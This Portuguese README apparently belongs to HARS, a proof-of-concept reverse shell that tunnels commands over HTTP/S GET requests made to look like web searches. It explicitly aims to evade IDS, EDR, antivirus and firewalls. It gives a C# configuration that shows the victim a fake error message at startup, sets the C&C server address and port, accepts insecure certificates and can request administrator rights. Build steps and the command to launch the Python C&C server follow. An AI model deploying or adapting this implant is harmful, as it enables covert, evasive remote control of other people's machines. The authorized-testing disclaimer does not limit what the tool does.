
[POC] Reverse shell assíncrono usando o protocolo HTTP.

Numa era em que sistemas avançados de deteção como IDS, IPS, EDR, AV e firewalls dominam as redes corporativas, escapar deles durante avaliações ofensivas de segurança é um desafio. A maioria dos shells reversos utilizam túneis TCP (L4), que são agora rotineiramente analisados e sinalizados.
Este projeto apresenta uma solução inovadora: um shell reverso completamente assíncrono sobre HTTP/S que se mistura no tráfego web normal imitando o comportamento legítimo do utilizador.
Ao contrário dos shells reversos tradicionais, ele utiliza apenas pedidos GET, aparece como consultas web normais e pode opcionalmente correr sobre HTTPS com um certificado legítimo falso, minimizando as hipóteses de deteção.
O cliente consulta o servidor até obter instruções.
O atacante fornece instruções ao servidor.
Quando um comando é definido, o cliente executa-o e retorna o resultado.
E assim sucessivamente, até o atacante decidir terminar a sessão.
Esta ferramenta destina-se apenas a ser uma ferramenta de demonstração de prova de conceito para testes de segurança autorizados. Certifique-se de verificar as suas leis locais antes de executar esta ferramenta.
Hoje, como prova de conceito, as seguintes funcionalidades estão implementadas:
HARS.sln no Visual Studio.Config.cs para corresponder ao seu ambiente: class Config
{
/* Behavior */
// Display a fake error msg at startup
public static bool DisplayErrorMsg = true;
// Title of fake error msg
public static string ErrorMsgTitle = "This application could not be started.";
// Description of fake error msg
public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
// Min delay between the client calls
public static int MinDelay = 2;
// Max delay between the client calls
public static int MaxDelay = 5;
// Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
/* Listener */
// Hostname/IP of C&C server
public static string Server = "https://127.0.0.1";
// Listening port of C&C server
public static string Port = "443";
// Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
public static bool AllowInsecureCertificate = true;
}
Opcional: Edite HARS.manifest para ajustar o nível de privilégio.
requestedExecutionLevelpode ser definido comoasInvoker,highestAvailableourequireAdministrator.
Propriedades do projeto
Aqui pode personalizar as informações do assembly e um ícone para o ficheiro.
Nota: A versão alvo do .NET framework está definida para 4.6, que está disponível por defeito no Windows 10.
Para Windows 7, escolha .NET 3.5 se não quiser ter que instalar funcionalidades em falta.
Compile o projeto a partir do Visual Studio.
O cliente deve ser gerado na pasta Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release.
Feito!
HARS_Server.py em HARS_Server/www/ para personalizar a porta ou o caminho do certificado.PORT = 443
CERT_FILE = '../server.pem'
python HARS_Server.py
Http Asynchronous Reverse Shell\HARS_Server\logs\Http Asynchronous Reverse Shell\HARS_Server\templates@onSec-fr